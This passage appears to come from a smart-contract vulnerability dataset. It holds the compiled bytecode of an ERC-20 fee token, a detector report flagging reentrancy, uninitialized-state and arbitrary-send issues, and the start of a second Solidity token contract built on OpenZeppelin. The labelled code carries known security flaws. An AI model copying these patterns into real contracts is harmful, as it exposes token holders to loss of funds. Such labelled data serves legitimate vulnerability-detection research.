b34801561036a57600080fd5b5061038560048036038101906103809190612e28565b6109ba565b005b34801561039357600080fd5b506103ae60048036038101906103a99190612d0f565b610b03565b6040516103bb9190613395565b60405180910390f35b3480156103d057600080fd5b506103d9610b8a565b005b60606040518060400160405280600a81526020017f575446204d79c58d627500000000000000000000000000000000000000000000815250905090565b600061042c610425611096565b848461109e565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610454848484611269565b61051584610460611096565b610510856040518060600160405280602881526020016139f460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c6611096565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120399092919063ffffffff16565b61109e565b600190509392505050565b60006009905090565b610531611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b5906132f5565b60405180910390fd5b80601260186101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661061c611096565b73ffffffffffffffffffffffffffffffffffffffff161461063c57600080fd5b600047905061064a8161209d565b50565b6000610697600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612198565b9050919050565b6106a6611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072a906132f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f5754464d594f4255000000000000000000000000000000000000000000000000815250905090565b600061086b610864611096565b8484611269565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108b6611096565b73ffffffffffffffffffffffffffffffffffffffff16146108d657600080fd5b60006108e13061064d565b90506108ec81612206565b50565b6108f7611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097b906132f5565b60405180910390fd5b601260159054906101000a900460ff1661099d57600080fd5b6001601260146101000a81548160ff021916908315150217905550565b6109c2611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906132f5565b60405180910390fd5b60008111610a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a89906132b5565b60405180910390fd5b610ac16064610ab383683635c9adc5dea0000061250090919063ffffffff16565b61257b90919063ffffffff16565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601354604051610af89190613395565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b92611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c16906132f5565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610caf30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061109e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cf557600080fd5b505afa158015610d09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2d9190612ce6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8f57600080fd5b505afa158015610da3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc79190612ce6565b6040518363ffffffff1660e01b8152600401610de4929190613145565b602060405180830381600087803b158015610dfe57600080fd5b505af1158015610e12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e369190612ce6565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ebf3061064d565b600080610eca6107f1565b426040518863ffffffff1660e01b8152600401610eec96959493929190613197565b6060604051808303818588803b158015610f0557600080fd5b505af1158015610f19573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f3e9190612e51565b5050506001601260176101000a81548160ff0219169083151502179055506001601260186101000a81548160ff0219169083151502179055506001601260156101000a81548160ff0219169083151502179055506729a2241af62c0000601381905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161104092919061316e565b602060405180830381600087803b15801561105a57600080fd5b505af115801561106e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110929190612dff565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561110e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110590613355565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561117e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117590613275565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161125c9190613395565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d090613335565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611349576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134090613235565b60405180910390fd5b6000811161138c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138390613315565b60405180910390fd5b6113946107f1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561140257506113d26107f1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f7657601260189054906101000a900460ff1615611635573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156114de5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115385750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561163457601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661157e611096565b73ffffffffffffffffffffffffffffffffffffffff1614806115f45750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115dc611096565b73ffffffffffffffffffffffffffffffffffffffff16145b611633576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162a90613375565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d95750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116e257600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561178d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117e35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117fb5750601260189054906101000a900460ff165b156118d457601260149054906101000a900460ff1661181957600080fd5b60135481111561182857600080fd5b42600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061187357600080fd5b601e42611880919061347a565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660098190555060026008819055505b60006118df3061064d565b9050601260169054906101000a900460ff1615801561194c5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119645750601260179054906101000a900460ff165b15611f74576119ba60646119ac600361199e601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661064d565b61250090919063ffffffff16565b61257b90919063ffffffff16565b82111580156119cb57506013548211155b6119d457600080fd5b42600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a1f57600080fd5b4262015180600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6e919061347a565b1015611aba576000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611bf157600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611b5290613629565b919050555042600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e1042611ba9919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f09565b6001600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611ce457600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611c8990613629565b9190505550611c2042611c9c919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f08565b6002600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611dd757600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611d7c90613629565b919050555061546042611d8f919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f07565b6003600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611f0657600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611e6f90613629565b919050555062015180600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec2919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b5b611f1281612206565b60004790506000811115611f2a57611f294761209d565b5b611f72600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c5565b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061201d5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561202757600090505b612033848484846125ee565b50505050565b6000838311158290612081576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120789190613213565b60405180910390fd5b5060008385612090919061355b565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120ed60028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612118573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61216960028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612194573d6000803e3d6000fd5b5050565b60006006548211156121df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d690613255565b60405180910390fd5b60006121e961262d565b90506121fe818461257b90919063ffffffff16565b915050919050565b6001601260166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612264577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122925781602001602082028036833780820191505090505b50905030816000815181106122d0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561237257600080fd5b505afa158015612386573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123aa9190612ce6565b816001815181106123e4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061244b30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461109e565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124af9594939291906133b0565b600060405180830381600087803b1580156124c957600080fd5b505af11580156124dd573d6000803e3d6000fd5b50505050506000601260166101000a81548160ff02191690831515021790555050565b6000808314156125135760009050612575565b600082846125219190613501565b905082848261253091906134d0565b14612570576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612567906132d5565b60405180910390fd5b809150505b92915050565b60006125bd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612658565b905092915050565b806008546125d39190613501565b60088190555060018111156125eb57600a6009819055505b50565b806125fc576125fb6126bb565b5b6126078484846126ec565b806126155761261461261b565b5b50505050565b60076008819055506005600981905550565b600080600061263a6128b7565b91509150612651818361257b90919063ffffffff16565b9250505090565b6000808311829061269f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126969190613213565b60405180910390fd5b50600083856126ae91906134d0565b9050809150509392505050565b60006008541480156126cf57506000600954145b156126d9576126ea565b600060088190555060006009819055505b565b6000806000806000806126fe87612919565b95509550955095509550955061275c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461298190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127f185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283d81612a29565b6128478483612ae6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128a49190613395565b60405180910390a3505050505050505050565b600080600060065490506000683635c9adc5dea0000090506128ed683635c9adc5dea0000060065461257b90919063ffffffff16565b82101561290c57600654683635c9adc5dea00000935093505050612915565b81819350935050505b9091565b60008060008060008060008060006129368a600854600954612b20565b925092509250600061294661262d565b905060008060006129598e878787612bb6565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006129c383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612039565b905092915050565b60008082846129da919061347a565b905083811015612a1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1690613295565b60405180910390fd5b8091505092915050565b6000612a3361262d565b90506000612a4a828461250090919063ffffffff16565b9050612a9e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612afb8260065461298190919063ffffffff16565b600681905550612b16816007546129cb90919063ffffffff16565b6007819055505050565b600080600080612b4c6064612b3e888a61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b766064612b68888b61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b9f82612b91858c61298190919063ffffffff16565b61298190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612bcf858961250090919063ffffffff16565b90506000612be6868961250090919063ffffffff16565b90506000612bfd878961250090919063ffffffff16565b90506000612c2682612c18858761298190919063ffffffff16565b61298190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612c4e816139ae565b92915050565b600081519050612c63816139ae565b92915050565b600081359050612c78816139c5565b92915050565b600081519050612c8d816139c5565b92915050565b600081359050612ca2816139dc565b92915050565b600081519050612cb7816139dc565b92915050565b600060208284031215612ccf57600080fd5b6000612cdd84828501612c3f565b91505092915050565b600060208284031215612cf857600080fd5b6000612d0684828501612c54565b91505092915050565b60008060408385031215612d2257600080fd5b6000612d3085828601612c3f565b9250506020612d4185828601612c3f565b9150509250929050565b600080600060608486031215612d6057600080fd5b6000612d6e86828701612c3f565b9350506020612d7f86828701612c3f565b9250506040612d9086828701612c93565b9150509250925092565b60008060408385031215612dad57600080fd5b6000612dbb85828601612c3f565b9250506020612dcc85828601612c93565b9150509250929050565b600060208284031215612de857600080fd5b6000612df684828501612c69565b91505092915050565b600060208284031215612e1157600080fd5b6000612e1f84828501612c7e565b91505092915050565b600060208284031215612e3a57600080fd5b6000612e4884828501612c93565b91505092915050565b600080600060608486031215612e6657600080fd5b6000612e7486828701612ca8565b9350506020612e8586828701612ca8565b9250506040612e9686828701612ca8565b9150509250925092565b6000612eac8383612eb8565b60208301905092915050565b612ec18161358f565b82525050565b612ed08161358f565b82525050565b6000612ee182613435565b612eeb8185613458565b9350612ef683613425565b8060005b83811015612f27578151612f0e8882612ea0565b9750612f198361344b565b925050600181019050612efa565b5085935050505092915050565b612f3d816135a1565b82525050565b612f4c816135e4565b82525050565b6000612f5d82613440565b612f678185613469565b9350612f778185602086016135f6565b612f80816136d0565b840191505092915050565b6000612f98602383613469565b9150612fa3826136e1565b604082019050919050565b6000612fbb602a83613469565b9150612fc682613730565b604082019050919050565b6000612fde602283613469565b9150612fe98261377f565b604082019050919050565b6000613001601b83613469565b915061300c826137ce565b602082019050919050565b6000613024601d83613469565b915061302f826137f7565b602082019050919050565b6000613047602183613469565b915061305282613820565b604082019050919050565b600061306a602083613469565b91506130758261386f565b602082019050919050565b600061308d602983613469565b915061309882613898565b604082019050919050565b60006130b0602583613469565b91506130bb826138e7565b604082019050919050565b60006130d3602483613469565b91506130de82613936565b604082019050919050565b60006130f6601183613469565b915061310182613985565b602082019050919050565b613115816135cd565b82525050565b613124816135d7565b82525050565b600060208201905061313f6000830184612ec7565b92915050565b600060408201905061315a6000830185612ec7565b6131676020830184612ec7565b9392505050565b60006040820190506131836000830185612ec7565b613190602083018461310c565b9392505050565b600060c0820190506131ac6000830189612ec7565b6131b9602083018861310c565b6131c66040830187612f43565b6131d36060830186612f43565b6131e06080830185612ec7565b6131ed60a083018461310c565b979650505050505050565b600060208201905061320d6000830184612f34565b92915050565b6000602082019050818103600083015261322d8184612f52565b905092915050565b6000602082019050818103600083015261324e81612f8b565b9050919050565b6000602082019050818103600083015261326e81612fae565b9050919050565b6000602082019050818103600083015261328e81612fd1565b9050919050565b600060208201905081810360008301526132ae81612ff4565b9050919050565b600060208201905081810360008301526132ce81613017565b9050919050565b600060208201905081810360008301526132ee8161303a565b9050919050565b6000602082019050818103600083015261330e8161305d565b9050919050565b6000602082019050818103600083015261332e81613080565b9050919050565b6000602082019050818103600083015261334e816130a3565b9050919050565b6000602082019050818103600083015261336e816130c6565b9050919050565b6000602082019050818103600083015261338e816130e9565b9050919050565b60006020820190506133aa600083018461310c565b92915050565b600060a0820190506133c5600083018861310c565b6133d26020830187612f43565b81810360408301526133e48186612ed6565b90506133f36060830185612ec7565b613400608083018461310c565b9695505050505050565b600060208201905061341f600083018461311b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613485826135cd565b9150613490836135cd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156134c5576134c4613672565b5b828201905092915050565b60006134db826135cd565b91506134e6836135cd565b9250826134f6576134f56136a1565b5b828204905092915050565b600061350c826135cd565b9150613517836135cd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135505761354f613672565b5b828202905092915050565b6000613566826135cd565b9150613571836135cd565b92508282101561358457613583613672565b5b828203905092915050565b600061359a826135ad565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135ef826135cd565b9050919050565b60005b838110156136145780820151818401526020810190506135f9565b83811115613623576000848401525b50505050565b6000613634826135cd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561366757613666613672565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6139b78161358f565b81146139c257600080fd5b50565b6139ce816135a1565b81146139d957600080fd5b50565b6139e5816135cd565b81146139f057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201211e5b204745912f311c6e987126eb7c20f8f6b14fc8edca0f52920c499837564736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,090
0x211e7ef84f47947fcfeb299dd898a5d2f4c8f43b
pragma solidity ^0.4.18; // File: node_modules/zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: node_modules/zeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: node_modules/zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: node_modules/zeppelin-solidity/contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } // File: node_modules/zeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: node_modules/zeppelin-solidity/contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * 